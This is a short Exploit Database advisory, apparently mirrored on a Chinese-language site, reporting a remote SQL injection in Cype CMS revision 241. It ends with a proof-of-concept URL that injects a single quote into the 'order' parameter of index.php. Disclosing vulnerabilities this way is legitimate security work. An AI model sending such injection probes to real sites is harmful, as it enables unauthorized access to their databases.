Cype CMS – SQL Injection

• Exploit Database
• 8 阅读

• 作者： Sora
  日期： 2010-01-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/10885/

• # Exploit Title: Cype Content Management System Remote SQL Injection Exploit
  # Date: January 1st, 2010
  # Author: Sora
  # Version: Revision 241
  # Tested on: Linux (Backtrack 3)
  
  -----------------------------------------
  
  > Cype CMS Remote SQL Injection Exploit
  > Author: Sora
  > Contact: vhr95zw [at] hotmail [dot] com
  > Website: http://greyhathackers.wordpress.com/
  > Google Dork: In your dreams, script kiddies.
  
  # Exploit Description:
  Cype CMS suffers a remote SQL injection vulnerability in index.php.
  
  # Code/Proof of Concept (PoC):
  http://server/index.php?cype=main&page=ranking&order='&job=500